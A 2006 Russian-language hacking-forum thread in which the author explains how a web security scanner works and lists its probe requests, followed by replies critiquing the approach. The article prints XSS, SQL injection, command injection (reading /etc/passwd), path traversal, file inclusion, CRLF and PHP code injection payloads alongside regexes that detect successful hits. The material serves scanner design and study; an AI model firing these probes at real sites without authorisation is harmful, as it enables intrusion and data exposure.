ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Теория сетевых сканеров безопасности
  #1  
Старый 11.06.2006, 16:53
Аватар для DIAgen
DIAgen
Познавший АНТИЧАТ
Регистрация: 02.05.2006
Сообщений: 1,191
Провел на форуме:
7364332

Репутация: 1276


Post Теория сетевых сканеров безопасности

Сколько мне приходилось сталкиваться со сканерами, мне все время было интересно
принцип их работы. Одно время я начал писать свой сканер безопасности на PHP, но из-за
не хватки времени пришлось все заморозить. В это статье я хочу рассказать то, что я
напрограммировал, только я буду приводит основные моменты, так как если приводить все
досконально то это будет не правильно (как мне сказали «если все объяснять по пальцам,
не чего хорошего не будет!» ).
Я считаю, что лучше искать уязвимости ручками!
Я буду приводить только регулярные выражения и запросы, а как это делается, можно
прочитать в любой книжке по программированию!
Определение Веб Сервера
Здесь я долго ломал голову, но как оказывается все гениальное все просто. В ответе сервера
в html-заголовке все содержится, с помощь регулярных выражений можно определить следующие
- Apache 1.3.27:
ищем .*(Apache(-AdvancedExtranetServer)?/(1\.([0-2]\.[0-9].\s|3\.([0-9]\s|[0-1][0-9]\s|2[0-6]\s))))
- Apache 2.x 2.0.43:
ищем .*(Apache(-AdvancedExtranetServer)?/2\.0\.([0-9]\s|[0-3][0-9]\s|4[0-2]\s))
Я не стал приводить полный список регулярных выражений, по двум причинам
1) просто будет бесмыслено занимать место
2) просто нечего сложного нет в регулярных выражения, кому понадобится тот сам сможет
написать, но на крайний случай, если надо будет выложу!

Определение версии PHP и mod_ssl
- PHP 4.3.0: ищем .*(PHP/4\.3\.0\s)
- PHP 5: ищем .*(PHP/5\.5\.0\s)
- Mod_SSL SSL_Util_UUEncode_Binary:
ищем .*(mod_ssl/(1.*\s|2\.([0-7]\..*|8\.([0-9]\s|1[0-7]\s)))).*
- Mod_SSL Log Function:
ищем .*(mod_ssl/(1.*\s|2\.([0-7]\..*|8\.([0-9]\s|1[0-8]\s)))).*
Ну вот все вроде про Веб сервер сказано!
CGI-TEST
Приведу только часть, так как их приличное количество!
- Директория справки Apache: GET /manual/
- Выполнение команд Apache Win32: GET /cgi-bin/test-cgi.bat?|dir
- Информация о сервере Apache: GET /server-info
- Распределение расширения Frontpage:
POST method=open+service%3a3%2e0%2e2%2e1105&service%5fn ame=%2f
в ответе должно быть “FrontPage Server Extensions”
Вроде тут понятно как отправляются запросы и как проверить!

Вот теперь самое интересное:
1) XSS
На атаче можно найти много информации то XSS, из-за этого я приведу только запросы:
<script>alert('xss -${random}')%3B</script>
'><script>alert('xss-${random}')%3B</script>
"><script>alert('xss-${random}')%3B</script>
><script>alert('xss-${random}')%3B</script>
</textarea><script>alert('xss-${random}')%3B</script>
<script>var%20xss=${random}%3Balert(xss_test)%3B </script>
><script>var%20xss_test =${random}%3Balert(xss_test)%3B</script>
</textarea><script>var%20xss_test =${random}%3Balert(xss_test)%3B</script>
--><script>alert('xss-${random}')%3B</script>
email@someemailaddress.com<script>alert('xss-${random}')%3B</script>
[script]alert('xss-${random}')%3B[/script]
%3Cimg%20src%3D%22javascript:alert%28%27xss-${random}%27%29%3B%22%3E

Вроде полный список!
И так, если все удачно вы может найти в тексте
tag=script;textwithin=alert('xss-${random}')\;
tag=script;textwithin=var xss_test=${random}\;alert(xss_test)\;
tag=img;src=javascript:alert('xss-${random}')\;

2) SQL injection
То тем же причинам, что и в первом случай:
'
%27
%2527
"
%00'
'"

С помощью следую регулярных выражений можно найти SQL injection:
(?i)(Line\s\d+:\sIncorrect\ssyntax\snear\s'[^']*')
(?i)(pg_query\(\)[:]*\squery\sfailed:\serror:\s)
(?i)(Microsoft\sJScript\sruntime.*error\s'[^']*')
(?i)('[^']*'\sis\snull\sor\snot\san\sobject)
(?i)(ORA-\d{4,5}:\s)
(?i)(Microsoft\sJET\sDatabase\sEngine\s\([^\)]*\)<br>Syntax\serror
(.*)\sin\squery\sexpression\s'.*\.<br><b>.*,\sline \s\d+</b><br>)
(?i)(<h2>\s<i>Syntax\serror\s(\([^\)]*\))?(in\sstring)?\sin\squery\
sexpression\s'[^\.]*\.</i>\s</h2></span>)
(?i)(<font\sface=\"Arial\"\ssize=2>Syntax\serror\s (.*)?in\squery\sexpression\s'(.*)\.</font>)
Можно искать полный текст:
Microsoft OLE DB Provider for ODBC Drivers
Microsoft OLE DB Provider for SQL Server
You have an error in your SQL syntax
Invalid SQL:
): encountered SQLException [

3) Code execution
Возможность выполнить произвольный код с привилегией сервера
POST или GET запросы
+%26cat%20+/etc/passwd%26
+%0acat%20+/etc/passwd%0a
%26dir%26
%7Cdir
%3Bdir
%26dir

Находим результаты: (.*root:.*:0:[01]:.*)
или найти полную строку
Volume in drive
Volume Serial Number is
Directory of

4) Обход директорий
POST или GET запросы
../../../../../../../../etc/passwd
../../../../../../../../etc/passwd%00
%00../../../../../../../../etc/passwd
../../../../../../../../boot.ini
../../../../../../../../boot.ini%00
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c 0%af%c0%ae%c0%ae%c0%af%c0%ae%
c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0 %ae%c0%ae%c0%afboot.ini

Найти можно вот так (.*root:.*:0:[01]:.*)
5) File inclusion
Можно разделить на два вида это локальный и иклуид с другого сервера
-локальный /какой_нибудь_фаил_длиным_им енем
-внешний http://xxx.com/ какой_нибудь_фаил_длиным_им енем
Тут можно проверить только на ошибку иклуида:
(?i)(<b>Fatal error</b>:.*: Failed opening required '.*some_inexistent_file_with_long_name.*').*
(?i)(<b>Warning</b>:.*: Failed opening '.*some_inexistent_file_with_long_name.*') for inclusion.*

6) Раскрытие исходного кода сценария
Возможно читать исходный текст этого сценария, используя имя файла сценария как параметр.
Найти можно используя:
(<%)
(<\?php)
(^#\!\/.*\/perl)

7) CRLF injection
Инъекция в заголовках через cookie
Запрос
some_url%0d%0aSet-Cookie%3Athis_header%3Dinjected_by
Ищется при помощи
(?i)\n(set-cookie\s*:\s*this_header\s*=\s*injected_by)
8) Cross Frame Scripting
Замена содержания фрейма
Запрос http://www.xxx.com/
Найти можно
tag=iframe;src=http://www.xxx.com/
9) PHP code injection
Выполнение произвольного PHP кода
Парметр: printf(md5(test))%3Bexit%3B//
Находим: 63c19a6da79816b21429e5bb262daed8
10) XPath injection
Получение XML документ, используя XPath запрос, в котором может содержаться информация из базы даных
Параметр: '
Ищем:
(?i)(<b>\sException\sDetails:\s</b>System\.Xml\.XPath\.XPathException:
\s'.*'\shas\san\sinvalid\stoken\.<br><br>)
(?i)(<b>\sException\sDetails:\s</b>System\.Xml\.XPath\.XPathException:
\sThis\sis\san\sunclosed\sstring\.<br><br>)


Про детальное описание каждой уязвимости можно найти в Интернете!
Вот и все вроде, я не стали писать про как можно найти Backup файлы
и определенный файлы (известные файлы и папки например “admin” и т.д).
Если будет желание продолжить эту тему обязательно дополню!
 
Ответить с цитированием

  #2  
Старый 11.06.2006, 17:43
Аватар для Nova
Nova
OpenVPN.CC
Регистрация: 15.07.2005
Сообщений: 1,599
Провел на форуме:
7670961

Репутация: 1034


Отправить сообщение для Nova с помощью ICQ
По умолчанию

Мдя банан выдрать запросы из сканера прикольно обучает аж бегом....
 
Ответить с цитированием

  #3  
Старый 12.06.2006, 11:47
Аватар для Otaku
Otaku
Познавший АНТИЧАТ
Регистрация: 24.07.2005
Сообщений: 1,057
Провел на форуме:
1864132

Репутация: 116


По умолчанию

Действительно не совсем понятно в чём смысл этой статьи. Ну разве что подробнее принцип работы сканера узнать.
 
Ответить с цитированием

  #4  
Старый 12.06.2006, 14:14
Аватар для ZaCo
ZaCo
Banned
Регистрация: 20.06.2005
Сообщений: 880
Провел на форуме:
4610226

Репутация: 1332


По умолчанию

Для нормального сканера безопасности веб, во-первых, нужно сделать функцию "паука" которая будет возвращать следующий адрес, а точнее следующий хттп запрос со всеми необходимыми параметрами. Это нужно дл того чтобы проводить проверку не только гет запросов, но так же пост. Причем тут должна быть проведена корректная обработка хтмл кода чтобы выдирать переменные из тегов типа <form></form>, а также из js сценариев. Далее, этот "паучок" не должен входить в бесконечный цикл, для этого нужно правильно добавлять новые и обновлять старые параметры запроса к тому же скрипту. То есть, если у нас есть к примеру гет запрос к /includes/script.php?id=4 и на той же страничке(или другой неважно) есть ссылка <a href=/includes/script.php?id=7> то не нужно для этого ждела заводить новый адрес для паука. просто нужно добавить мол id передается число (если хоть в одной страничке встертится ссылка типа /includes/script.php?id=pageee, то нужно сказать что там находится строка) и обрабатывать на уязвимости соответственно. Так же нужно уметь правильно обрабатывать относительные пути. Далее, проверка на хсс неправильная, хотя бы потому что требует много запросов (это очень тормозить работу будет) тут достаточно проверить за один запрос выход за пределы ',",<,> и все, а в конце напистаь что сцществует выход за пределы. Не нужно писать чо-то через чур умное. Так будет хуже. в принципе аналогичная ситуация и с скл-инекциями - не логичная проверка. А при пхп инклуде вообще - не стоит надеятся на вывод сообщений об ошибке.
 
Ответить с цитированием

  #5  
Старый 06.03.2008, 20:03
Аватар для Fenich
Fenich
Новичок
Регистрация: 02.03.2008
Сообщений: 5
Провел на форуме:
25747

Репутация: 5
По умолчанию

Очень интересно описано Но многое не понятно надо было бы объяснить моменты
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обзор Сканеров Безопасности Elekt Уязвимости 7 14.05.2008 00:01
В Microsoft сменится вице-президент по вопросам безопасности dinar_007 Мировые новости 0 27.03.2006 16:32
"Лаборатория Касперского" организует конференцию по информационной безопасности... dinar_007 Мировые новости 1 15.03.2006 12:30
Microsoft проведет дополнительный аудит безопасности своего ПО dinar_007 Мировые новости 0 11.01.2006 14:47
Меры защиты информационной безопасности foreva Чужие Статьи 0 06.02.2005 19:33



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ